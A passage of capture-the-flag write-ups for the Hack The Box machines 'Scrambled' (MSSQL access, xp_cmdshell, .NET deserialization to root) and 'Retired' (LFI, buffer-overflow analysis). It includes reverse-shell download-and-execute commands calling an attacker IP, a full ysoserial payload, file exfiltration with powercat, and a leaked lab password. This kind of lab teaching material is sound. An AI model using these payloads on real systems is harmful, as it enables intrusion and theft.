Now, we can access the MS SQL server by running `export KRB5CCNAME=Administrator.ccache` and `mssqlclient.py -k -no-pass dc1.scrm.local`:
```
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC1): Line 1: Changed database context to 'master'.
[*] INFO(DC1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
```
To enumerate the database, we use the same commands as in the [StreamIO writeup](/machines/streamio).
```
SQL> SELECT name FROM master.dbo.sysdatabases
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
ScrambleHR
SQL> use scramblehr;
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: ScrambleHR
[*] INFO(DC1): Line 1: Changed database context to 'ScrambleHR'.
SQL> SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE'
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
-------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- ----------
ScrambleHR dbo Employees b'BASE TABLE'
ScrambleHR dbo UserImport b'BASE TABLE'
ScrambleHR dbo Timesheets b'BASE TABLE'
SQL> SELECT * from UserImport;
LdapUser LdapPwd LdapDomain RefreshInterval IncludeGroups
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- --------------- -------------
MiscSvc ScrambledEggs9900 scrm.local 90 0
SQL>
```
Now, we have `MiscSvc:ScrambledEggs9900` as credentials.
We gain command execution using [xp\_cmdshell](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssqlclient.py):
```
SQL> enable_xp_cmdshell
[*] INFO(DC1): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC1): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
```
To get a reverse shell, we first download [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1). Then, start a basic web server with `python -m http.server 4094` so the target can download our reverse shell. Next, start a listener with `nc -nvlp 9014`. Finally, run `EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.98:4094/Invoke-PowerShellTcp.ps1");Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.98 -Port 9014 | powershell -noprofile'` (command based on [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssqlclient.py)) to get a reverse shell.
## Lateral Movement
We are the `scrm\sqlsvc` user, but looking at the `Desktop` directory with `dir C:\Users\sqlsvc\Desktop` shows no flag. However, we have credentials for `MiscSvc` from the database. So, let's switch to that user and check for a flag.
We can run commands as that user with the following syntax:
```
$Password = ConvertTo-SecureString 'ScrambledEggs9900' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('scrm\MiscSvc', $Password)
Invoke-Command -Computer dc1 -Credential $Cred -Command {whoami}
```
The above should print `scrm\miscsvc`. Now we can start another listener with `nc -nvlp 9015` on our machine. Change into the `C:\Temp` directory on the target. Finally, run `Invoke-Command -Computer dc1 -Credential $Cred -Command {IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.98:4094/Invoke-PowerShellTcp.ps1");Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.98 -Port 9015}` on the target to get a shell as `miscsvc`. This command will download [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1) and then run it like before with `xp_cmdshell`.
Finally, run `type C:\Users\miscsvc\Desktop\user.txt` to get the `user.txt` flag.
## Privilege Escalation
At the path `C:\Shares\IT\Apps\Sales Order Client` we have the following files:
```
Directory: C:\Shares\IT\Apps\Sales Order Client
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 05/11/2021 20:52 86528 ScrambleClient.exe
-a---- 05/11/2021 20:52 19456 ScrambleLib.dll
```
Download [powercat](https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1) and make sure the Python web server is still running.
We can run `IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.98:4094/powercat.ps1')` to download and load `powercat`. Then, run `nc -nvlp 55628 > ScrambleClient.exe` on your machine and run `powercat -c 10.10.14.98 -p 55628 -i "C:\Shares\IT\Apps\Sales Order Client\ScrambleClient.exe"` on the target. Press CTRL+C in the netcat reciever when it's been long enough for the file to transfer. Do the same thing for `ScrambleLib.dll`.
Here are those files: [ScrambleClient.exe](https://github.com/HHousen/hack-the-box/blob/master/Machines/Scrambled/ScrambleClient.exe) and [ScrambleLib.dll](https://github.com/HHousen/hack-the-box/blob/master/Machines/Scrambled/ScrambleLib.dll).
The `file` command says `ScrambleClient.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows`.
In the [Support machine writeup](/machines/support), we dealt with decompiling a .Net binary. I'm going to use [AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy). Download the latest release from [the releases page](https://github.com/icsharpcode/AvaloniaILSpy/releases) and run it with `./ILSpy`.
We find a deserialization vulnerability in the `ScrambleLib.ScrambleNetClient.UploadOrder` function:
```
public void UploadOrder(SalesOrder NewOrder)
{
try
{
Log.Write("Uploading new order with reference " + NewOrder.ReferenceNumber);
string text = NewOrder.SerializeToBase64();
Log.Write("Order serialized to base64: " + text);
ScrambleNetResponse scrambleNetResponse = SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.UploadOrder, text));
ScrambleNetResponse.ResponseType type = scrambleNetResponse.Type;
if (type == ScrambleNetResponse.ResponseType.Success)
{
Log.Write("Upload successful");
return;
}
throw new ApplicationException(scrambleNetResponse.GetErrorDescription());
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Log.Write("Error: " + ex2.Message);
throw ex2;
}
}
```
The constructor shows that the default port is `4411`, so this is the service we saw earlier:
```
public ScrambleNetClient()
{
Server = string.Empty;
Port = 4411;
}
```
In the `ScrambleLib.ScrambleNetRequest.GetCodeFromMessageType` function, we see:
```
public static string GetCodeFromMessageType(RequestType MsgType)
{
if (_MessageTypeToCode == null)
{
_MessageTypeToCode = new Dictionary();
_MessageTypeToCode.Add(RequestType.CloseConnection, "QUIT");
_MessageTypeToCode.Add(RequestType.ListOrders, "LIST_ORDERS");
_MessageTypeToCode.Add(RequestType.AuthenticationRequest, "LOGON");
_MessageTypeToCode.Add(RequestType.UploadOrder, "UPLOAD_ORDER");
}
return _MessageTypeToCode[MsgType];
}
```
So, it looks like we need to use the `UPLOAD_ORDER` command.
We can use [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net) to exploit the deserialization vulnerability. [This HackTricks page](https://book.hacktricks.xyz/pentesting-web/deserialization#ysoserial.net) discusses this program. This is a Windows application so I tried to run it with [Wine](https://www.winehq.org/). I needed to install Wine Mono, which I did by following [this AskUbuntu answer](https://askubuntu.com/a/992215). However, running the command using `wine` produces different output than running the command on native Windows. This took me a while to figure out since I didn't have a Windows VM handy.
The final command to run to create the exploit is `ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.98:4094/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.98 -Port 17019"`:
```
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAAoAtBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBMmdZOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0T0NJL1BnMEtQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaUJOWlhSb2IyUk9ZVzFsUFNKVGRHRnlkQ0lnU1hOSmJtbDBhV0ZzVEc5aFpFVnVZV0pzWldROUlrWmhiSE5sSWlCNGJXeHVjejBpYUhSMGNEb3ZMM05qYUdWdFlYTXViV2xqY205emIyWjBMbU52YlM5M2FXNW1lQzh5TURBMkwzaGhiV3d2Y0hKbGMyVnVkR0YwYVc5dUlpQjRiV3h1Y3pwelpEMGlZMnh5TFc1aGJXVnpjR0ZqWlRwVGVYTjBaVzB1UkdsaFoyNXZjM1JwWTNNN1lYTnpaVzFpYkhrOVUzbHpkR1Z0SWlCNGJXeHVjenA0UFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJK0RRb2dJRHhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VDJKcVpXTjBTVzV6ZEdGdVkyVStEUW9nSUNBZ1BITmtPbEJ5YjJObGMzTStEUW9nSUNBZ0lDQThjMlE2VUhKdlkyVnpjeTVUZEdGeWRFbHVabTgrRFFvZ0lDQWdJQ0FnSUR4elpEcFFjbTlqWlhOelUzUmhjblJKYm1adklFRnlaM1Z0Wlc1MGN6MGlMMk1nY0c5M1pYSnphR1ZzYkNCSlJWZ29UbVYzTFU5aWFtVmpkQ0JPWlhRdVYyVmlRMnhwWlc1MEtTNUViM2R1Ykc5aFpGTjBjbWx1WnlnbmFIUjBjRG92THpFd0xqRXdMakUwTGprNE9qUXdPVFF2U1c1MmIydGxMVkJ2ZDJWeVUyaGxiR3hVWTNBdWNITXhKeWs3U1c1MmIydGxMVkJ2ZDJWeVUyaGxiR3hVWTNBZ0xWSmxkbVZ5YzJVZ0xVbFFRV1JrY21WemN5QXhNQzR4TUM0eE5DNDVPQ0F0VUc5eWRDQXhOekF4T1NJZ1UzUmhibVJoY21SRmNuSnZja1Z1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVTNSaGJtUmhjbVJQZFhSd2RYUkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRlZ6WlhKT1lXMWxQU0lpSUZCaGMzTjNiM0prUFNKN2VEcE9kV3hzZlNJZ1JHOXRZV2x1UFNJaUlFeHZZV1JWYzJWeVVISnZabWxzWlQwaVJtRnNjMlVpSUVacGJHVk9ZVzFsUFNKamJXUWlJQzgrRFFvZ0lDQWdJQ0E4TDNOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUR3dmMyUTZVSEp2WTJWemN6NE5DaUFnUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNEwL
```
We are using the reverse shell from before in this command.
Tip: Pipe the command directly to `xclip -selection clipboard` to automatically copy the output to your clipboard.
Start a listener with `nc -nvlp 17019`. Connect to service with `nc 10.10.11.168 4411`. Make sure the Python web server is still running with `python -m http.server 4094`. Send `UPLOAD_ORDER;` followed by the payload from before:
```
UPLOAD_ORDER;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAAoAtBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBMmdZOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0T0NJL1BnMEtQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaUJOWlhSb2IyUk9ZVzFsUFNKVGRHRnlkQ0lnU1hOSmJtbDBhV0ZzVEc5aFpFVnVZV0pzWldROUlrWmhiSE5sSWlCNGJXeHVjejBpYUhSMGNEb3ZMM05qYUdWdFlYTXViV2xqY205emIyWjBMbU52YlM5M2FXNW1lQzh5TURBMkwzaGhiV3d2Y0hKbGMyVnVkR0YwYVc5dUlpQjRiV3h1Y3pwelpEMGlZMnh5TFc1aGJXVnpjR0ZqWlRwVGVYTjBaVzB1UkdsaFoyNXZjM1JwWTNNN1lYTnpaVzFpYkhrOVUzbHpkR1Z0SWlCNGJXeHVjenA0UFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJK0RRb2dJRHhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VDJKcVpXTjBTVzV6ZEdGdVkyVStEUW9nSUNBZ1BITmtPbEJ5YjJObGMzTStEUW9nSUNBZ0lDQThjMlE2VUhKdlkyVnpjeTVUZEdGeWRFbHVabTgrRFFvZ0lDQWdJQ0FnSUR4elpEcFFjbTlqWlhOelUzUmhjblJKYm1adklFRnlaM1Z0Wlc1MGN6MGlMMk1nY0c5M1pYSnphR1ZzYkNCSlJWZ29UbVYzTFU5aWFtVmpkQ0JPWlhRdVYyVmlRMnhwWlc1MEtTNUViM2R1Ykc5aFpGTjBjbWx1WnlnbmFIUjBjRG92THpFd0xqRXdMakUwTGprNE9qUXdPVFF2U1c1MmIydGxMVkJ2ZDJWeVUyaGxiR3hVWTNBdWNITXhKeWs3U1c1MmIydGxMVkJ2ZDJWeVUyaGxiR3hVWTNBZ0xWSmxkbVZ5YzJVZ0xVbFFRV1JrY21WemN5QXhNQzR4TUM0eE5DNDVPQ0F0VUc5eWRDQXhOekF4T1NJZ1UzUmhibVJoY21SRmNuSnZja1Z1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVTNSaGJtUmhjbVJQZFhSd2RYUkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRlZ6WlhKT1lXMWxQU0lpSUZCaGMzTjNiM0prUFNKN2VEcE9kV3hzZlNJZ1JHOXRZV2x1UFNJaUlFeHZZV1JWYzJWeVVISnZabWxzWlQwaVJtRnNjMlVpSUVacGJHVk9ZVzFsUFNKamJXUWlJQzgrRFFvZ0lDQWdJQ0E4TDNOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUR3dmMyUTZVSEp2WTJWemN6NE5DaUFnUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNEwL
```
Now, we can execute `type C:\Users\Administrator\Desktop\root.txt` to get the `root.txt` flag.
# Retired
## Summary
Nmap finds SSH and an Nginx server. The website has a `page` GET parameter, which we fuzz and find a beta page as well as an LFI exploit. The beta page upload a file to `activate_license.php`, which we leak the source code of using the LFI exploit. `activate_license.php` will send the uploaded file to a service running on port `1337`. Since we can access files on the system, we read `/proc/sched_debug` and see that `/usr/bin/activate_license` is the program on port `1337`. We download it so we can reverse engineer it.
Decompiling `activate_license` with [Ghidra](https://ghidra-sre.org/) reveals a buffer overflow exploit with the data we can upload to it. We use gdb with the [peda](https://github.com/longld/peda) extension to debug the program and send a pattern using [pwntools](https://github.com/Gallopsled/pwntools) to determine the offset based on the overwritten registers. The binary has the non-executable stack protection enabled, but we can use `sys_mprotect` to turn off this protection using an approach similar to [this guide](https://syrion.me/blog/elfx64-bypass-nx-with-mprotect/). `mprotect()` changes the access protections for the calling process's memory pages. We need to tell `mprotect()` the start of the stack, the length of the stack, and the protection mode (RWE) to apply to that area of memory. This will make the entire stack executable. To get these addresses, we use the `/proc/$PID/maps` filesystem through the LFI exploit. Finally, we use `msfvenom` to generate some basic shellcode. Our final exploit is in [exploit.py](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/exploit.py).
Running the [exploit.py](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/exploit.py) will get us a shell as `www-data`. In the `/var/www` directory we notice some ZIP files being generated every minute. From [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS), we learn that there is a system timer that runs `website_backup.service` every minute, which runs as the `dev` user and it creates a ZIP file from `/var/www/html`. So, we create a symbolic link to `dev`'s SSH private key inside of `/var/www/html`. Then, we unzip the created ZIP file and SSH as `dev` using the private key. This gets us the `user.txt` flag.
The privilege escalation part of this box is pretty unique. In the `/home/dev/emuemu/` directory we find a `reg_helper` binary and its source code. This binary takes input and writes it to `/proc/sys/fs/binfmt_misc/register`. That file can only be written to by `root`, but from the `Makefile` we see that the binary at `/usr/lib/emuemu/reg_helper` has the `cap_dac_override` capability, so it bypasses all file write checks. The vulnerability we are going to exploit is pretty cool and these resources are amazing at explaining it: [What is SUID? Shadow SUID for Privilege Persistence: Part 1](https://www.sentinelone.com/blog/shadow-suid-for-privilege-persistence-part-1/) and [SUID Linux: Shadow SUID for Privilege Persistence: Part 2](https://www.sentinelone.com/blog/shadow-suid-privilege-persistence-part-2/).
From those articles (above): When we run a command on linux, "the kernel reads the first 128 characters of the file. It then iterates over the registered binary-format-handlers to determine which handler should be used. That way, when we execute a file that begins with a #! shebang, the kernel knows it is a script, and the binfmt\_script handler is used to find the relevant interpreter (as indicated after the shebang). Similarly, when the file begins with x7fELF, the kernel knows it is a regular Linux binary, and the binfmt\_elf handler is used to load the binary into the elf interpreter."
We can use [toffan/binfmt\_misc](https://github.com/toffan/binfmt_misc) to exploit the ability to write to `/proc/sys/fs/binfmt_misc/register`. The script will register a new interpreter with `binfmt_misc` linked to the magic bytes of a random SUID binary. That new interpreter will run `/bin/sh`. Thus, when that random SUID binary is executed, Linux will find it's magic bytes registered with `binfmt_misc` and execute our interpreter with the permissions of the file executed. Since the file executed is SUID, we will get a root shell.
After [a few modifications to the exploit](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/binfmt_rootkit/README.md), we run it and get the `root.txt` flag.
## Enumeration
### Nmap
First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.154 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.154`.
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)
| 256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)
|_ 256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)
80/tcp open http nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### Website (Port `80`)
Let's check out the website since that's the only thing we have to work with (other than SSH):
The URL is `http://10.10.11.154/index.php?page=default.html`, so we have a `page` parameter to play with.
We check for a local file inclusion (LFI) exploit on the `page` parameter by running `ffuf -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u http://10.10.11.154/index.php\?page\=FUZZ -fs 0`:
```
etc/fstab [Status: 302, Size: 327, Words: 13, Lines: 9, Duration: 30ms]
/etc/passwd [Status: 302, Size: 1488, Words: 14, Lines: 29, Duration: 31ms]
/etc/hosts.deny [Status: 302, Size: 711, Words: 128, Lines: 18, Duration: 32ms]
/etc/crontab [Status: 302, Size: 1042, Words: 181, Lines: 23, Duration: 33ms]
/etc/issue [Status: 302, Size: 27, Words: 5, Lines: 3, Duration: 34ms]
/etc/hosts.allow [Status: 302, Size: 411, Words: 82, Lines: 11, Duration: 36ms]
/etc/hosts [Status: 302, Size: 154, Words: 5, Lines: 8, Duration: 36ms]
/etc/motd [Status: 302, Size: 286, Words: 36, Lines: 8, Duration: 24ms]
/etc/motd [Status: 302, Size: 286, Words: 36, Lines: 8, Duration: 24ms]
/etc/mtab [Status: 302, Size: 1466, Words: 101, Lines: 21, Duration: 28ms]
/etc/passwd [Status: 302, Size: 1488, Words: 14, Lines: 29, Duration: 27ms]
/etc/network/interfaces [Status: 302, Size: 337, Words: 32, Lines: 15, Duration: 29ms]
/etc/networks [Status: 302, Size: 60, Words: 1, Lines: 5, Duration: 30ms]
/etc/profile [Status: 302, Size: 769, Words: 157, Lines: 35, Duration: 31ms]
/etc/resolv.conf [Status: 302, Size: 38, Words: 3, Lines: 3, Duration: 31ms]
/etc/ssh/sshd_config [Status: 302, Size: 3338, Words: 300, Lines: 128, Duration: 30ms]
/etc/ssh/ssh_config [Status: 302, Size: 1650, Words: 249, Lines: 54, Duration: 32ms]
/proc/filesystems [Status: 302, Size: 347, Words: 1, Lines: 29, Duration: 28ms]
/proc/cpuinfo [Status: 302, Size: 2320, Words: 283, Lines: 55, Duration: 30ms]
/proc/modules [Status: 302, Size: 3109, Words: 301, Lines: 61, Duration: 30ms]
/proc/stat [Status: 302, Size: 1194, Words: 489, Lines: 11, Duration: 29ms]
/proc/swaps [Status: 302, Size: 104, Words: 32, Lines: 3, Duration: 29ms]
/proc/mounts [Status: 302, Size: 1466, Words: 101, Lines: 21, Duration: 30ms]
/proc/ioports [Status: 302, Size: 1537, Words: 313, Lines: 59, Duration: 30ms]
/proc/interrupts [Status: 302, Size: 4180, Words: 1938, Lines: 68, Duration: 30ms]
/proc/meminfo [Status: 302, Size: 1419, Words: 493, Lines: 52, Duration: 31ms]
/proc/version [Status: 302, Size: 184, Words: 21, Lines: 2, Duration: 31ms]
/proc/self/net/arp [Status: 302, Size: 156, Words: 78, Lines: 3, Duration: 32ms]
/var/run/utmp [Status: 302, Size: 1536, Words: 1, Lines: 3, Duration: 29ms]
/var/log/wtmp [Status: 302, Size: 12288, Words: 2, Lines: 11, Duration: 31ms]
/var/log/lastlog [Status: 302, Size: 292584, Words: 1, Lines: 2, Duration: 29ms]
:: Progress: [257/257] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
```
So, we can read files on the system.
Let's scan for other directories by running `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.11.154/FUZZ`:
```
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
assets [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 33ms]
css [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 26ms]
js [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 29ms]
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 23ms]
:: Progress: [87651/87651] :: Job [1/1] :: 1482 req/sec :: Duration: [0:01:02] :: Errors: 0 ::
```
Nothing unusual here.
We can fuzz for different pages using `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.11.154/index.php\?page\=FUZZ.html -fs 0`:
```
default [Status: 200, Size: 11414, Words: 4081, Lines: 189, Duration: 36ms]
beta [Status: 200, Size: 4144, Words: 1137, Lines: 73, Duration: 25ms]
:: Progress: [87651/87651] :: Job [1/1] :: 1399 req/sec :: Duration: [0:01:17] :: Errors: 4 ::
```
Let's look at the `beta` page located at `http://10.10.11.154/index.php?page=beta.html`:
From the source code we see that the form action is `activate_license.php`. With the LFI exploit we can get the source of this file by running `curl http://10.10.11.154/index.php\?page\=activate_license.php`:
```php
```
This script will open a connection with a service running on port `1337` locally on the box. Then, it will send our uploaded file to that service. So, we need to get information about that service.
Searching online for "lfi find running processes" finds [this article](https://tun0.blog/posts/pidlfi/), which mentions this command:
```bash
$ for i in $(seq 1 5000); do echo $i >> pid.txt; done && \
ffuf -c -w pid.txt:FUZZ -u http://10.0.0.19/lfi.php?lang=/proc/FUZZ/cmdline -fw 1
```
We modify it slightly to create this:
```bash
$ for i in $(seq 1 5000); do echo $i >> pid.txt; done && \
ffuf -c -w pid.txt:FUZZ -u http://10.10.11.154/index.php\?page\=/proc/FUZZ/cmdline -fs 0
406 [Status: 302, Size: 31, Words: 1, Lines: 1, Duration: 26ms]
582 [Status: 302, Size: 49, Words: 3, Lines: 1, Duration: 30ms]
583 [Status: 302, Size: 49, Words: 3, Lines: 1, Duration: 30ms]
:: Progress: [5000/5000] :: Job [1/1] :: 1434 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
```
So, in the first 5000 PIDs we have `406`, `582`, and `583`. We can now run `curl http://10.10.11.154/index.php\?page\=/proc/406/cmdline --output -` and see that the program was launched with the command `/usr/bin/activate_license 1337`.
Another approach would have been to look at the contents of the `/proc/sched_debug` file, since that also shows information about running processes.
Let's run `curl http://10.10.11.154/index.php\?page\=/usr/bin/activate_license --output activate_license` to download that binary: [activate\_license](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/activate_license/README.md).
## Foothold
Running `file activate_license` shows the following:
```
activate_license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info, not stripped
```
We can see the binary security settings with [checksec](https://docs.pwntools.com/en/stable/commandline.html#pwn-checksec) from [pwntools](https://github.com/Gallopsled/pwntools):
```
$ checksec activate_license
[*] 'activate_license'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```
We decompile the binary using [Ghidra](https://ghidra-sre.org/). Here is the decompiled `activate_license` function:
```
void activate_license(int sockfd)
{
int iVar1;
ssize_t sVar2;
int *piVar3;
char *pcVar4;
sqlite3_stmt *stmt;
sqlite3 *db;
uint32_t msglen;
char buffer [512];
sVar2 = read(sockfd,&msglen,4);
if (sVar2 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
msglen = ntohl(msglen);
printf("[+] reading %d bytes\n",(ulong)msglen);
sVar2 = read(sockfd,buffer,(ulong)msglen);
if (sVar2 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
iVar1 = sqlite3_open("license.sqlite",&db);
if (iVar1 != 0) {
pcVar4 = (char *)sqlite3_errmsg(db);
error(pcVar4);
}
sqlite3_busy_timeout(db,2000);
iVar1 = sqlite3_exec(db,
"CREATE TABLE IF NOT EXISTS license ( id INTEGER PRIMARY KEY AUTOINCREMENT, license_key TEXT)"
,0,0,0);
if (iVar1 != 0) {
pcVar4 = (char *)sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_prepare_v2(db,"INSERT INTO license (license_key) VALUES (?)",0xffffffff,&stmt,0);
if (iVar1 != 0) {
pcVar4 = (char *)sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_bind_text(stmt,1,buffer,0x200,0);
if (iVar1 != 0) {
pcVar4 = (char *)sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_step(stmt);
if (iVar1 != 0x65) {
pcVar4 = (char *)sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_reset(stmt);
if (iVar1 != 0) {
pcVar4 = (char *)sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_finalize(stmt);
if (iVar1 != 0) {
pcVar4 = (char *)sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_close(db);
if (iVar1 != 0) {
pcVar4 = (char *)sqlite3_errmsg(db);
error(pcVar4);
}
printf("[+] activated license: %s\n",buffer);
return;
}
```
There is a buffer overflow in this function. The buffer is set to 512 bytes, but then the line `sVar2 = read(sockfd,buffer,(ulong)msglen);` will read `msglen` bytes from the socket into the buffer. So, if we upload a license to the program that is larger than 512 bytes, we should be writing onto the stack. For a normal buffer overflow, we would be able to add some shell code, create a [NOP sled](https://stackoverflow.com/a/14760699), and then overwrite the return address with the address of our shell code. The problem is that we have "NX enabled" according to `checksec`. NX stands for "no execution," so even if we were to return to shell code, it would not be executed.
